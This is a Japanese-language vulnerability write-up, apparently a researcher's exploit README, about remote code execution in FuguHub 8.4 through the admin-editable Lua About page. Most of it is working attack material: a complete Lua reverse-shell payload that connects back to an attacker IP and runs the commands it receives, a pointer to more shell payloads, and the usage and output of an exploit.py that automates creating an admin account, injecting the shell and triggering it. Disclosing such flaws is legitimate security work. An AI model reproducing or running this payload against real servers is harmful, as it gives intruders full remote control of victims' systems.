
FuguHub 8.4 における任意のコード実行
FuguHub はクラウドメディアサーバーソフトウェアです。テストしたバージョンは、このリンクの Debian 版です:
https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC の FuguHub v.8.4 には、ローカルの攻撃者が細工したスクリプトを Administrator パネルの About ページに送ることで任意のコードを実行できる問題があります。
FuguHub のダウンロードページを示すスクリーンショット
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
About ページは Lua で書かれた編集可能なページであり、その内容は Administrator パネルから変更できます。この脆弱性により、Lua で書かれたリバースシェルが About ページに挿入されます。このページはログイン中およびログアウト中のユーザーの両方が閲覧できます。
FuguHub 管理者が編集可能な About ページを示すスクリーンショット
FuguHub はユーザーに管理者ユーザーの作成を促します。これは次のページでも行えます: http://127.0.0.1/rtl/protected/admin/
作成後、管理者はこのリンク http://127.0.0.1/rtl/protected/admin/customize.lsp でサーバーをカスタマイズできます。これにより、ユーザーは About ページを編集でき、コードを注入できる Lua コードセクションがあることが確認できます。
サーバー側で実行されソフトウェアバージョンを返す編集可能な lsp コードを示すスクリーンショット。ここがリバースシェルの挿入ポイントです。
以下はペイロードの例です:
<?lsp if request:method() == "GET" then ?>
<?lsp
local host, port = "192.168.0.107", 4444
local socket = require("socket")
local tcp = socket.tcp()
local io = require("io")
local connection, err = tcp:connect(host, port)
if not connection then
print("Error connecting: " .. err)
return
end
while true do
local cmd, status, partial = tcp:receive()
if status == "closed" or status == "timeout" then break end
if cmd then
local f = io.popen(cmd, "r")
local s = f:read("*a")
f:close()
tcp:send(s)
end
end
tcp:close()
?>
<?lsp else ?>
Wrong request method, goodBye!
<?lsp end ?>
別の単一行ペイロードは revshells.com で入手できます。
revshells.com の Lua リバースシェルのスクリーンショット
このエクスプロイトを自動化する過程で、FuguHub のファイルアップロード脆弱性を発見した CVE-2023-24078 を見つけました。そのエクスプロイトは Python で書かれており、ログイン/アカウント作成が自動化されていました。私はそのエクスプロイトの認証部分を使用し、その後、customize.lsp ページの新たに発見した挿入ポイントを悪用するコードを追加しました。私の Python エクスプロイトはリポジトリ内の exploit.py に含まれています。
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
┌──(kali㉿kali)-[~/pg/hub]
└─$ python3 exploit.py -r 192.168.XXX.XXX -rp 80 -l 192.168.XXX.XXX -p 5555
[*] Checking for admin user...
[+] No admin user exists yet, creating account with admin:password
[+] User created!
[+] Logging in...
[+] Success! Injecting the reverse shell...
[+] Successfully injected the reverse shell into the About page.
[+] Triggering the reverse shell, check your listener...